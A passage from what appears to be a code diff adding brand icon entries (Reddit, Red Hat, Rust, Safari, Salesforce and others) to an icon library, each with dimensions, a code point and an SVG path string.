84.6 13 71.9 100.4 140.6 142 182.1 142 30.8 0 43.8-21 47.6-27.7 18-31.9 13.3-84.1-.1-133.8 152.3-43.8 156.2-130.2 33.9-176.3zM135.9 36.84c2.9-5.1 11.9-20.3 34.9-20.3 36.8 0 98.8 39.6 163.3 126.2a714 714 0 0 0-93.9.9 547.76 547.76 0 0 1 42.2-52.4Q277.3 86 272.2 81a598.25 598.25 0 0 0-50.7 64.2 569.69 569.69 0 0 0-84.4 14.6c-.2-1.4-24.3-82.2-1.2-123zm304.8 438.3c-2.9 5.1-11.8 20.3-34.9 20.3-36.7 0-98.7-39.4-163.3-126.2a695.38 695.38 0 0 0 93.9-.9 547.76 547.76 0 0 1-42.2 52.4q5.1 5.25 10.2 10.2a588.47 588.47 0 0 0 50.7-64.2c47.3-4.7 80.3-13.5 84.4-14.6 22.7 84.4 4.5 117 1.2 123zm9.1-138.6c-3.6-11.9-7.7-24.1-12.4-36.4a12.67 12.67 0 0 1-10.7-5.7l-.1.1a19.61 19.61 0 0 1-5.4 3.6c5.7 14.3 10.6 28.4 14.7 42.2a535.3 535.3 0 0 1-72 13c3.5-5.3 17.2-26.2 32.2-54.2a24.6 24.6 0 0 1-6-3.2c-1.1 1.2-3.6 4.2-10.9 4.2-6.2 11.2-17.4 30.9-33.9 55.2a711.91 711.91 0 0 1-112.4 1c-7.9-11.2-21.5-31.1-36.8-57.8a21 21 0 0 1-3-1.5c-1.9 1.6-3.9 3.2-12.6 3.2 6.3 11.2 17.5 30.7 33.8 54.6a548.81 548.81 0 0 1-72.2-11.7q5.85-21 14.1-42.9c-3.2 0-5.4.2-8.4-1a17.58 17.58 0 0 1-6.9 1c-4.9 13.4-9.1 26.5-12.7 39.4C-31.7 297-12.1 216 126.7 175.64c3.6 11.9 7.7 24.1 12.4 36.4 10.4 0 12.9 3.4 14.4 5.3a12 12 0 0 1 2.3-2.2c-5.8-14.7-10.9-29.2-15.2-43.3 7-1.8 32.4-8.4 72-13-15.9 24.3-26.7 43.9-32.8 55.3a14.22 14.22 0 0 1 6.4 8 23.42 23.42 0 0 1 10.2-8.4c6.5-11.7 17.9-31.9 34.8-56.9a711.72 711.72 0 0 1 112.4-1c31.5 44.6 28.9 48.1 42.5 64.5a21.42 21.42 0 0 1 10.4-7.4c-6.4-11.4-17.6-31-34.3-55.5 40.4 4.1 65 10 72.2 11.7-4 14.4-8.9 29.2-14.6 44.2a20.74 20.74 0 0 1 6.8 4.3l.1.1a12.72 12.72 0 0 1 8.9-5.6c4.9-13.4 9.2-26.6 12.8-39.5a359.71 359.71 0 0 1 34.5 11c106.1 39.9 74 87.9 72.6 90.4-19.8 35.1-80.1 55.2-105.7 62.5zm-114.4-114h-1.2a1.74 1.74 0 0 0-1.9 1.9v49.8c0 7.9-2.6 11.1-10.1 11.1s-10.1-3.1-10.1-11.1v-49.8a1.69 1.69 0 0 0-1.9-1.9H309a1.81 1.81 0 0 0-2 1.9v51.5c0 9.6 5 14.1 15.1 14.1h.4c10.1 0 15.1-4.6 15.1-14.1v-51.5a2 2 0 0 0-2.2-1.9zM321.7 308l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm-31.1 7.4l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm5.1-30.8h-19.4v-26.7h16.1a1.89 1.89 0 0 0 2-2v-.8a1.89 1.89 0 0 0-2-2h-16.1v-25.8h19.1a1.89 1.89 0 0 0 2-2v-.8a1.77 1.77 0 0 0-2-1.9h-22.2a1.81 1.81 0 0 0-2 1.9v63a1.81 1.81 0 0 0 2 1.9h22.5a1.77 1.77 0 0 0 2-1.9v-.8a1.83 1.83 0 0 0-2-2.06zm-7.4-99.4L286 192l-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.1-.1z"], + "readme": [576, 512, [], "f4d5", "M528.3 46.5H388.5c-48.1 0-89.9 33.3-100.4 80.3-10.6-47-52.3-80.3-100.4-80.3H48c-26.5 0-48 21.5-48 48v245.8c0 26.5 21.5 48 48 48h89.7c102.2 0 132.7 24.4 147.3 75 .7 2.8 5.2 2.8 6 0 14.7-50.6 45.2-75 147.3-75H528c26.5 0 48-21.5 48-48V94.6c0-26.4-21.3-47.9-47.7-48.1zM242 311.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5V289c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5V251zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm259.3 121.7c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5V228c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5v-22.8c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5V190z"], + "rebel": [512, 512, [], "f1d0", "M256.5 504C117.2 504 9 387.8 13.2 249.9 16 170.7 56.4 97.7 129.7 49.5c.3 0 1.9-.6 1.1.8-5.8 5.5-111.3 129.8-14.1 226.4 49.8 49.5 90 2.5 90 2.5 38.5-50.1-.6-125.9-.6-125.9-10-24.9-45.7-40.1-45.7-40.1l28.8-31.8c24.4 10.5 43.2 38.7 43.2 38.7.8-29.6-21.9-61.4-21.9-61.4L255.1 8l44.3 50.1c-20.5 28.8-21.9 62.6-21.9 62.6 13.8-23 43.5-39.3 43.5-39.3l28.5 31.8c-27.4 8.9-45.4 39.9-45.4 39.9-15.8 28.5-27.1 89.4.6 127.3 32.4 44.6 87.7-2.8 87.7-2.8 102.7-91.9-10.5-225-10.5-225-6.1-5.5.8-2.8.8-2.8 50.1 36.5 114.6 84.4 116.2 204.8C500.9 400.2 399 504 256.5 504z"], + "red-river": [448, 512, [], "f3e3", "M353.2 32H94.8C42.4 32 0 74.4 0 126.8v258.4C0 437.6 42.4 480 94.8 480h258.4c52.4 0 94.8-42.4 94.8-94.8V126.8c0-52.4-42.4-94.8-94.8-94.8zM144.9 200.9v56.3c0 27-21.9 48.9-48.9 48.9V151.9c0-13.2 10.7-23.9 23.9-23.9h154.2c0 27-21.9 48.9-48.9 48.9h-56.3c-12.3-.6-24.6 11.6-24 24zm176.3 72h-56.3c-12.3-.6-24.6 11.6-24 24v56.3c0 27-21.9 48.9-48.9 48.9V247.9c0-13.2 10.7-23.9 23.9-23.9h154.2c0 27-21.9 48.9-48.9 48.9z"], + "reddit": [512, 512, [], "f1a1", "M201.5 305.5c-13.8 0-24.9-11.1-24.9-24.6 0-13.8 11.1-24.9 24.9-24.9 13.6 0 24.6 11.1 24.6 24.9 0 13.6-11.1 24.6-24.6 24.6zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-132.3-41.2c-9.4 0-17.7 3.9-23.8 10-22.4-15.5-52.6-25.5-86.1-26.6l17.4-78.3 55.4 12.5c0 13.6 11.1 24.6 24.6 24.6 13.8 0 24.9-11.3 24.9-24.9s-11.1-24.9-24.9-24.9c-9.7 0-18 5.8-22.1 13.8l-61.2-13.6c-3-.8-6.1 1.4-6.9 4.4l-19.1 86.4c-33.2 1.4-63.1 11.3-85.5 26.8-6.1-6.4-14.7-10.2-24.1-10.2-34.9 0-46.3 46.9-14.4 62.8-1.1 5-1.7 10.2-1.7 15.5 0 52.6 59.2 95.2 132 95.2 73.1 0 132.3-42.6 132.3-95.2 0-5.3-.6-10.8-1.9-15.8 31.3-16 19.8-62.5-14.9-62.5zM302.8 331c-18.2 18.2-76.1 17.9-93.6 0-2.2-2.2-6.1-2.2-8.3 0-2.5 2.5-2.5 6.4 0 8.6 22.8 22.8 87.3 22.8 110.2 0 2.5-2.2 2.5-6.1 0-8.6-2.2-2.2-6.1-2.2-8.3 0zm7.7-75c-13.6 0-24.6 11.1-24.6 24.9 0 13.6 11.1 24.6 24.6 24.6 13.8 0 24.9-11.1 24.9-24.6 0-13.8-11-24.9-24.9-24.9z"], + "reddit-alien": [512, 512, [], "f281", "M440.3 203.5c-15 0-28.2 6.2-37.9 15.9-35.7-24.7-83.8-40.6-137.1-42.3L293 52.3l88.2 19.8c0 21.6 17.6 39.2 39.2 39.2 22 0 39.7-18.1 39.7-39.7s-17.6-39.7-39.7-39.7c-15.4 0-28.7 9.3-35.3 22l-97.4-21.6c-4.9-1.3-9.7 2.2-11 7.1L246.3 177c-52.9 2.2-100.5 18.1-136.3 42.8-9.7-10.1-23.4-16.3-38.4-16.3-55.6 0-73.8 74.6-22.9 100.1-1.8 7.9-2.6 16.3-2.6 24.7 0 83.8 94.4 151.7 210.3 151.7 116.4 0 210.8-67.9 210.8-151.7 0-8.4-.9-17.2-3.1-25.1 49.9-25.6 31.5-99.7-23.8-99.7zM129.4 308.9c0-22 17.6-39.7 39.7-39.7 21.6 0 39.2 17.6 39.2 39.7 0 21.6-17.6 39.2-39.2 39.2-22 .1-39.7-17.6-39.7-39.2zm214.3 93.5c-36.4 36.4-139.1 36.4-175.5 0-4-3.5-4-9.7 0-13.7 3.5-3.5 9.7-3.5 13.2 0 27.8 28.5 120 29 149 0 3.5-3.5 9.7-3.5 13.2 0 4.1 4 4.1 10.2.1 13.7zm-.8-54.2c-21.6 0-39.2-17.6-39.2-39.2 0-22 17.6-39.7 39.2-39.7 22 0 39.7 17.6 39.7 39.7-.1 21.5-17.7 39.2-39.7 39.2z"], + "reddit-square": [448, 512, [], "f1a2", "M283.2 345.5c2.7 2.7 2.7 6.8 0 9.2-24.5 24.5-93.8 24.6-118.4 0-2.7-2.4-2.7-6.5 0-9.2 2.4-2.4 6.5-2.4 8.9 0 18.7 19.2 81 19.6 100.5 0 2.4-2.3 6.6-2.3 9 0zm-91.3-53.8c0-14.9-11.9-26.8-26.5-26.8-14.9 0-26.8 11.9-26.8 26.8 0 14.6 11.9 26.5 26.8 26.5 14.6 0 26.5-11.9 26.5-26.5zm90.7-26.8c-14.6 0-26.5 11.9-26.5 26.8 0 14.6 11.9 26.5 26.5 26.5 14.9 0 26.8-11.9 26.8-26.5 0-14.9-11.9-26.8-26.8-26.8zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-99.7 140.6c-10.1 0-19 4.2-25.6 10.7-24.1-16.7-56.5-27.4-92.5-28.6l18.7-84.2 59.5 13.4c0 14.6 11.9 26.5 26.5 26.5 14.9 0 26.8-12.2 26.8-26.8 0-14.6-11.9-26.8-26.8-26.8-10.4 0-19.3 6.2-23.8 14.9l-65.7-14.6c-3.3-.9-6.5 1.5-7.4 4.8l-20.5 92.8c-35.7 1.5-67.8 12.2-91.9 28.9-6.5-6.8-15.8-11-25.9-11-37.5 0-49.8 50.4-15.5 67.5-1.2 5.4-1.8 11-1.8 16.7 0 56.5 63.7 102.3 141.9 102.3 78.5 0 142.2-45.8 142.2-102.3 0-5.7-.6-11.6-2.1-17 33.6-17.2 21.2-67.2-16.1-67.2z"], + "redhat": [512, 512, [], "f7bc", "M341.52 285.56c33.65 0 82.34-6.94 82.34-47 .22-6.74.86-1.82-20.88-96.24-4.62-19.15-8.68-27.84-42.31-44.65-26.09-13.34-82.92-35.37-99.73-35.37-15.66 0-20.2 20.17-38.87 20.17-18 0-31.31-15.06-48.12-15.06-16.14 0-26.66 11-34.78 33.62-27.5 77.55-26.28 74.27-26.12 78.27 0 24.8 97.64 106.11 228.47 106.11M429 254.84c4.65 22 4.65 24.35 4.65 27.25 0 37.66-42.33 58.56-98 58.56-125.74.08-235.91-73.65-235.91-122.33a49.55 49.55 0 0 1 4.06-19.72C58.56 200.86 0 208.93 0 260.63c0 84.67 200.63 189 359.49 189 121.79 0 152.51-55.08 152.51-98.58 0-34.21-29.59-73.05-82.93-96.24"], + "renren": [512, 512, [], "f18b", "M214 169.1c0 110.4-61 205.4-147.6 247.4C30 373.2 8 317.7 8 256.6 8 133.9 97.1 32.2 214 12.5v156.6zM255 504c-42.9 0-83.3-11-118.5-30.4C193.7 437.5 239.9 382.9 255 319c15.5 63.9 61.7 118.5 118.8 154.7C338.7 493 298.3 504 255 504zm190.6-87.5C359 374.5 298 279.6 298 169.1V12.5c116.9 19.7 206 121.4 206 244.1 0 61.1-22 116.6-58.4 159.9z"], + "replyd": [448, 512, [], "f3e6", "M320 480H128C57.6 480 0 422.4 0 352V160C0 89.6 57.6 32 128 32h192c70.4 0 128 57.6 128 128v192c0 70.4-57.6 128-128 128zM193.4 273.2c-6.1-2-11.6-3.1-16.4-3.1-7.2 0-13.5 1.9-18.9 5.6-5.4 3.7-9.6 9-12.8 15.8h-1.1l-4.2-18.3h-28v138.9h36.1v-89.7c1.5-5.4 4.4-9.8 8.7-13.2 4.3-3.4 9.8-5.1 16.2-5.1 4.6 0 9.8 1 15.6 3.1l4.8-34zm115.2 103.4c-3.2 2.4-7.7 4.8-13.7 7.1-6 2.3-12.8 3.5-20.4 3.5-12.2 0-21.1-3-26.5-8.9-5.5-5.9-8.5-14.7-9-26.4h83.3c.9-4.8 1.6-9.4 2.1-13.9.5-4.4.7-8.6.7-12.5 0-10.7-1.6-19.7-4.7-26.9-3.2-7.2-7.3-13-12.5-17.2-5.2-4.3-11.1-7.3-17.8-9.2-6.7-1.8-13.5-2.8-20.6-2.8-21.1 0-37.5 6.1-49.2 18.3s-17.5 30.5-17.5 55c0 22.8 5.2 40.7 15.6 53.7 10.4 13.1 26.8 19.6 49.2 19.6 10.7 0 20.9-1.5 30.4-4.6 9.5-3.1 17.1-6.8 22.6-11.2l-12-23.6zm-21.8-70.3c3.8 5.4 5.3 13.1 4.6 23.1h-51.7c.9-9.4 3.7-17 8.2-22.6 4.5-5.6 11.5-8.5 21-8.5 8.2-.1 14.1 2.6 17.9 8zm79.9 2.5c4.1 3.9 9.4 5.8 16.1 5.8 7 0 12.6-1.9 16.7-5.8s6.1-9.1 6.1-15.6-2-11.6-6.1-15.4c-4.1-3.8-9.6-5.7-16.7-5.7-6.7 0-12 1.9-16.1 5.7-4.1 3.8-6.1 8.9-6.1 15.4s2 11.7 6.1 15.6zm0 100.5c4.1 3.9 9.4 5.8 16.1 5.8 7 0 12.6-1.9 16.7-5.8s6.1-9.1 6.1-15.6-2-11.6-6.1-15.4c-4.1-3.8-9.6-5.7-16.7-5.7-6.7 0-12 1.9-16.1 5.7-4.1 3.8-6.1 8.9-6.1 15.4 0 6.6 2 11.7 6.1 15.6z"], + "researchgate": [448, 512, [], "f4f8", "M0 32v448h448V32H0zm262.2 334.4c-6.6 3-33.2 6-50-14.2-9.2-10.6-25.3-33.3-42.2-63.6-8.9 0-14.7 0-21.4-.6v46.4c0 23.5 6 21.2 25.8 23.9v8.1c-6.9-.3-23.1-.8-35.6-.8-13.1 0-26.1.6-33.6.8v-8.1c15.5-2.9 22-1.3 22-23.9V225c0-22.6-6.4-21-22-23.9V193c25.8 1 53.1-.6 70.9-.6 31.7 0 55.9 14.4 55.9 45.6 0 21.1-16.7 42.2-39.2 47.5 13.6 24.2 30 45.6 42.2 58.9 7.2 7.8 17.2 14.7 27.2 14.7v7.3zm22.9-135c-23.3 0-32.2-15.7-32.2-32.2V167c0-12.2 8.8-30.4 34-30.4s30.4 17.9 30.4 17.9l-10.7 7.2s-5.5-12.5-19.7-12.5c-7.9 0-19.7 7.3-19.7 19.7v26.8c0 13.4 6.6 23.3 17.9 23.3 14.1 0 21.5-10.9 21.5-26.8h-17.9v-10.7h30.4c0 20.5 4.7 49.9-34 49.9zm-116.5 44.7c-9.4 0-13.6-.3-20-.8v-69.7c6.4-.6 15-.6 22.5-.6 23.3 0 37.2 12.2 37.2 34.5 0 21.9-15 36.6-39.7 36.6z"], + "resolving": [496, 512, [], "f3e7", "M281.2 278.2c46-13.3 49.6-23.5 44-43.4L314 195.5c-6.1-20.9-18.4-28.1-71.1-12.8L54.7 236.8l28.6 98.6 197.9-57.2zM248.5 8C131.4 8 33.2 88.7 7.2 197.5l221.9-63.9c34.8-10.2 54.2-11.7 79.3-8.2 36.3 6.1 52.7 25 61.4 55.2l10.7 37.8c8.2 28.1 1 50.6-23.5 73.6-19.4 17.4-31.2 24.5-61.4 33.2L203 351.8l220.4 27.1 9.7 34.2-48.1 13.3-286.8-37.3 23 80.2c36.8 22 80.3 34.7 126.3 34.7 137 0 248.5-111.4 248.5-248.3C497 119.4 385.5 8 248.5 8zM38.3 388.6L0 256.8c0 48.5 14.3 93.4 38.3 131.8z"], + "rev": [448, 512, [], "f5b2", "M289.67 274.89a65.57 65.57 0 1 1-65.56-65.56 65.64 65.64 0 0 1 65.56 65.56zm139.55-5.05h-.13a204.69 204.69 0 0 0-74.32-153l-45.38 26.2a157.07 157.07 0 0 1 71.81 131.84C381.2 361.5 310.73 432 224.11 432S67 361.5 67 274.88c0-81.88 63-149.27 143-156.43v39.12l108.77-62.79L210 32v38.32c-106.7 7.25-191 96-191 204.57 0 111.59 89.12 202.29 200.06 205v.11h210.16V269.84z"], + "rocketchat": [576, 512, [], "f3e8", "M284.046,224.8a34.114,34.114,0,1,0,34.317,34.113A34.217,34.217,0,0,0,284.046,224.8Zm-110.45,0a34.114,34.114,0,1,0,34.317,34.113A34.217,34.217,0,0,0,173.6,224.8Zm220.923,0a34.114,34.114,0,1,0,34.317,34.113A34.215,34.215,0,0,0,394.519,224.8Zm153.807-55.319c-15.535-24.172-37.31-45.57-64.681-63.618-52.886-34.817-122.374-54-195.666-54a405.975,405.975,0,0,0-72.032,6.357,238.524,238.524,0,0,0-49.51-36.588C99.684-11.7,40.859.711,11.135,11.421A14.291,14.291,0,0,0,5.58,34.782C26.542,56.458,61.222,99.3,52.7,138.252c-33.142,33.9-51.112,74.776-51.112,117.337,0,43.372,17.97,84.248,51.112,118.148,8.526,38.956-26.154,81.816-47.116,103.491a14.284,14.284,0,0,0,5.555,23.34c29.724,10.709,88.549,23.147,155.324-10.2a238.679,238.679,0,0,0,49.51-36.589A405.972,405.972,0,0,0,288,460.14c73.313,0,142.8-19.159,195.667-53.975,27.371-18.049,49.145-39.426,64.679-63.619,17.309-26.923,26.07-55.916,26.07-86.125C574.394,225.4,565.634,196.43,548.326,169.485ZM284.987,409.9a345.65,345.65,0,0,1-89.446-11.5l-20.129,19.393a184.366,184.366,0,0,1-37.138,27.585,145.767,145.767,0,0,1-52.522,14.87c.983-1.771,1.881-3.563,2.842-5.356q30.258-55.68,16.325-100.078c-32.992-25.962-52.778-59.2-52.778-95.4,0-83.1,104.254-150.469,232.846-150.469s232.867,67.373,232.867,150.469C517.854,342.525,413.6,409.9,284.987,409.9Z"], + "rockrms": [496, 512, [], "f3e9", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm157.4 419.5h-90l-112-131.3c-17.9-20.4-3.9-56.1 26.6-56.1h75.3l-84.6-99.3-84.3 98.9h-90L193.5 67.2c14.4-18.4 41.3-17.3 54.5 0l157.7 185.1c19 22.8 2 57.2-27.6 56.1-.6 0-74.2.2-74.2.2l101.5 118.9z"], + "rust": [512, 512, [], "e07a", "M508.52,249.75,486.7,236.24c-.17-2-.34-3.93-.55-5.88l18.72-17.5a7.35,7.35,0,0,0-2.44-12.25l-24-9c-.54-1.88-1.08-3.78-1.67-5.64l15-20.83a7.35,7.35,0,0,0-4.79-11.54l-25.42-4.15c-.9-1.73-1.79-3.45-2.73-5.15l10.68-23.42a7.35,7.35,0,0,0-6.95-10.39l-25.82.91q-1.79-2.22-3.61-4.4L439,81.84A7.36,7.36,0,0,0,430.16,73L405,78.93q-2.17-1.83-4.4-3.61l.91-25.82a7.35,7.35,0,0,0-10.39-7L367.7,53.23c-1.7-.94-3.43-1.84-5.15-2.73L358.4,25.08a7.35,7.35,0,0,0-11.54-4.79L326,35.26c-1.86-.59-3.75-1.13-5.64-1.67l-9-24a7.35,7.35,0,0,0-12.25-2.44l-17.5,18.72c-1.95-.21-3.91-.38-5.88-.55L262.25,3.48a7.35,7.35,0,0,0-12.5,0L236.24,25.3c-2,.17-3.93.34-5.88.55L212.86,7.13a7.35,7.35,0,0,0-12.25,2.44l-9,24c-1.89.55-3.79,1.08-5.66,1.68l-20.82-15a7.35,7.35,0,0,0-11.54,4.79l-4.15,25.41c-1.73.9-3.45,1.79-5.16,2.73L120.88,42.55a7.35,7.35,0,0,0-10.39,7l.92,25.81c-1.49,1.19-3,2.39-4.42,3.61L81.84,73A7.36,7.36,0,0,0,73,81.84L78.93,107c-1.23,1.45-2.43,2.93-3.62,4.41l-25.81-.91a7.42,7.42,0,0,0-6.37,3.26,7.35,7.35,0,0,0-.57,7.13l10.66,23.41c-.94,1.7-1.83,3.43-2.73,5.16L25.08,153.6a7.35,7.35,0,0,0-4.79,11.54l15,20.82c-.59,1.87-1.13,3.77-1.68,5.66l-24,9a7.35,7.35,0,0,0-2.44,12.25l18.72,17.5c-.21,1.95-.38,3.91-.55,5.88L3.48,249.75a7.35,7.35,0,0,0,0,12.5L25.3,275.76c.17,2,.34,3.92.55,5.87L7.13,299.13a7.35,7.35,0,0,0,2.44,12.25l24,9c.55,1.89,1.08,3.78,1.68,5.65l-15,20.83a7.35,7.35,0,0,0,4.79,11.54l25.42,4.15c.9,1.72,1.79,3.45,2.73,5.14L42.56,391.12a7.35,7.35,0,0,0,.57,7.13,7.13,7.13,0,0,0,6.37,3.26l25.83-.91q1.77,2.22,3.6,4.4L73,430.16A7.36,7.36,0,0,0,81.84,439L107,433.07q2.18,1.83,4.41,3.61l-.92,25.82a7.35,7.35,0,0,0,10.39,6.95l23.43-10.68c1.69.94,3.42,1.83,5.14,2.73l4.15,25.42a7.34,7.34,0,0,0,11.54,4.78l20.83-15c1.86.6,3.76,1.13,5.65,1.68l9,24a7.36,7.36,0,0,0,12.25,2.44l17.5-18.72c1.95.21,3.92.38,5.88.55l13.51,21.82a7.35,7.35,0,0,0,12.5,0l13.51-21.82c2-.17,3.93-.34,5.88-.56l17.5,18.73a7.36,7.36,0,0,0,12.25-2.44l9-24c1.89-.55,3.78-1.08,5.65-1.68l20.82,15a7.34,7.34,0,0,0,11.54-4.78l4.15-25.42c1.72-.9,3.45-1.79,5.15-2.73l23.42,10.68a7.35,7.35,0,0,0,10.39-6.95l-.91-25.82q2.22-1.79,4.4-3.61L430.16,439a7.36,7.36,0,0,0,8.84-8.84L433.07,405q1.83-2.17,3.61-4.4l25.82.91a7.23,7.23,0,0,0,6.37-3.26,7.35,7.35,0,0,0,.58-7.13L458.77,367.7c.94-1.7,1.83-3.43,2.73-5.15l25.42-4.15a7.35,7.35,0,0,0,4.79-11.54l-15-20.83c.59-1.87,1.13-3.76,1.67-5.65l24-9a7.35,7.35,0,0,0,2.44-12.25l-18.72-17.5c.21-1.95.38-3.91.55-5.87l21.82-13.51a7.35,7.35,0,0,0,0-12.5Zm-151,129.08A13.91,13.91,0,0,0,341,389.51l-7.64,35.67A187.51,187.51,0,0,1,177,424.44l-7.64-35.66a13.87,13.87,0,0,0-16.46-10.68l-31.51,6.76a187.38,187.38,0,0,1-16.26-19.21H258.3c1.72,0,2.89-.29,2.89-1.91V309.55c0-1.57-1.17-1.91-2.89-1.91H213.47l.05-34.35H262c4.41,0,23.66,1.28,29.79,25.87,1.91,7.55,6.17,32.14,9.06,40,2.89,8.82,14.6,26.46,27.1,26.46H407a187.3,187.3,0,0,1-17.34,20.09Zm25.77,34.49A15.24,15.24,0,1,1,368,398.08h.44A15.23,15.23,0,0,1,383.24,413.32Zm-225.62-.68a15.24,15.24,0,1,1-15.25-15.25h.45A15.25,15.25,0,0,1,157.62,412.64ZM69.57,234.15l32.83-14.6a13.88,13.88,0,0,0,7.06-18.33L102.69,186h26.56V305.73H75.65A187.65,187.65,0,0,1,69.57,234.15ZM58.31,198.09a15.24,15.24,0,0,1,15.23-15.25H74a15.24,15.24,0,1,1-15.67,15.24Zm155.16,24.49.05-35.32h63.26c3.28,0,23.07,3.77,23.07,18.62,0,12.29-15.19,16.7-27.68,16.7ZM399,306.71c-9.8,1.13-20.63-4.12-22-10.09-5.78-32.49-15.39-39.4-30.57-51.4,18.86-11.95,38.46-29.64,38.46-53.26,0-25.52-17.49-41.59-29.4-49.48-16.76-11-35.28-13.23-40.27-13.23H116.32A187.49,187.49,0,0,1,221.21,70.06l23.47,24.6a13.82,13.82,0,0,0,19.6.44l26.26-25a187.51,187.51,0,0,1,128.37,91.43l-18,40.57A14,14,0,0,0,408,220.43l34.59,15.33a187.12,187.12,0,0,1,.4,32.54H423.71c-1.91,0-2.69,1.27-2.69,3.13v8.82C421,301,409.31,305.58,399,306.71ZM240,60.21A15.24,15.24,0,0,1,255.21,45h.45A15.24,15.24,0,1,1,240,60.21ZM436.84,214a15.24,15.24,0,1,1,0-30.48h.44a15.24,15.24,0,0,1-.44,30.48Z"], + "safari": [512, 512, [], "f267", "M274.69,274.69l-37.38-37.38L166,346ZM256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8ZM411.85,182.79l14.78-6.13A8,8,0,0,1,437.08,181h0a8,8,0,0,1-4.33,10.46L418,197.57a8,8,0,0,1-10.45-4.33h0A8,8,0,0,1,411.85,182.79ZM314.43,94l6.12-14.78A8,8,0,0,1,331,74.92h0a8,8,0,0,1,4.33,10.45l-6.13,14.78a8,8,0,0,1-10.45,4.33h0A8,8,0,0,1,314.43,94ZM256,60h0a8,8,0,0,1,8,8V84a8,8,0,0,1-8,8h0a8,8,0,0,1-8-8V68A8,8,0,0,1,256,60ZM181,74.92a8,8,0,0,1,10.46,4.33L197.57,94a8,8,0,1,1-14.78,6.12l-6.13-14.78A8,8,0,0,1,181,74.92Zm-63.58,42.49h0a8,8,0,0,1,11.31,0L140,128.72A8,8,0,0,1,140,140h0a8,8,0,0,1-11.31,0l-11.31-11.31A8,8,0,0,1,117.41,117.41ZM60,256h0a8,8,0,0,1,8-8H84a8,8,0,0,1,8,8h0a8,8,0,0,1-8,8H68A8,8,0,0,1,60,256Zm40.15,73.21-14.78,6.13A8,8,0,0,1,74.92,331h0a8,8,0,0,1,4.33-10.46L94,314.43a8,8,0,0,1,10.45,4.33h0A8,8,0,0,1,100.15,329.21Zm4.33-136h0A8,8,0,0,1,94,197.57l-14.78-6.12A8,8,0,0,1,74.92,181h0a8,8,0,0,1,10.45-4.33l14.78,6.13A8,8,0,0,1,104.48,193.24ZM197.57,418l-6.12,14.78a8,8,0,0,1-14.79-6.12l6.13-14.78A8,8,0,1,1,197.57,418ZM264,444a8,8,0,0,1-8,8h0a8,8,0,0,1-8-8V428a8,8,0,0,1,8-8h0a8,8,0,0,1,8,8Zm67-6.92h0a8,8,0,0,1-10.46-4.33L314.43,418a8,8,0,0,1,4.33-10.45h0a8,8,0,0,1,10.45,4.33l6.13,14.78A8,8,0,0,1,331,437.08Zm63.58-42.49h0a8,8,0,0,1-11.31,0L372,383.28A8,8,0,0,1,372,372h0a8,8,0,0,1,11.31,0l11.31,11.31A8,8,0,0,1,394.59,394.59ZM286.25,286.25,110.34,401.66,225.75,225.75,401.66,110.34ZM437.08,331h0a8,8,0,0,1-10.45,4.33l-14.78-6.13a8,8,0,0,1-4.33-10.45h0A8,8,0,0,1,418,314.43l14.78,6.12A8,8,0,0,1,437.08,331ZM444,264H428a8,8,0,0,1-8-8h0a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8h0A8,8,0,0,1,444,264Z"], + "salesforce": [640, 512, [], "f83b", "M248.89 245.64h-26.35c.69-5.16 3.32-14.12 13.64-14.12 6.75 0 11.97 3.82 12.71 14.12zm136.66-13.88c-.47 0-14.11-1.77-14.11 20s13.63 20 14.11 20c13 0 14.11-13.54 14.11-20 0-21.76-13.66-20-14.11-20zm-243.22 23.76a8.63 8.63 0 0 0-3.29 7.29c0 4.78 2.08 6.05 3.29 7.05 4.7 3.7 15.07 2.12 20.93.95v-16.94c-5.32-1.07-16.73-1.96-20.93 1.65zM640 232c0 87.58-80 154.39-165.36 136.43-18.37 33-70.73 70.75-132.2 41.63-41.16 96.05-177.89 92.18-213.81-5.17C8.91 428.78-50.19 266.52 53.36 205.61 18.61 126.18 76 32 167.67 32a124.24 124.24 0 0 1 98.56 48.7c20.7-21.4 49.4-34.81 81.15-34.81 42.34 0 79 23.52 98.8 58.57C539 63.78 640 132.69 640 232zm-519.55 31.8c0-11.76-11.69-15.17-17.87-17.17-5.27-2.11-13.41-3.51-13.41-8.94 0-9.46 17-6.66 25.17-2.12 0 0 1.17.71 1.64-.47.24-.7 2.36-6.58 2.59-7.29a1.13 1.13 0 0 0-.7-1.41c-12.33-7.63-40.7-8.51-40.7 12.7 0 12.46 11.49 15.44 17.88 17.17 4.72 1.58 13.17 3 13.17 8.7 0 4-3.53 7.06-9.17 7.06a31.76 31.76 0 0 1-19-6.35c-.47-.23-1.42-.71-1.65.71l-2.4 7.47c-.47.94.23 1.18.23 1.41 1.75 1.4 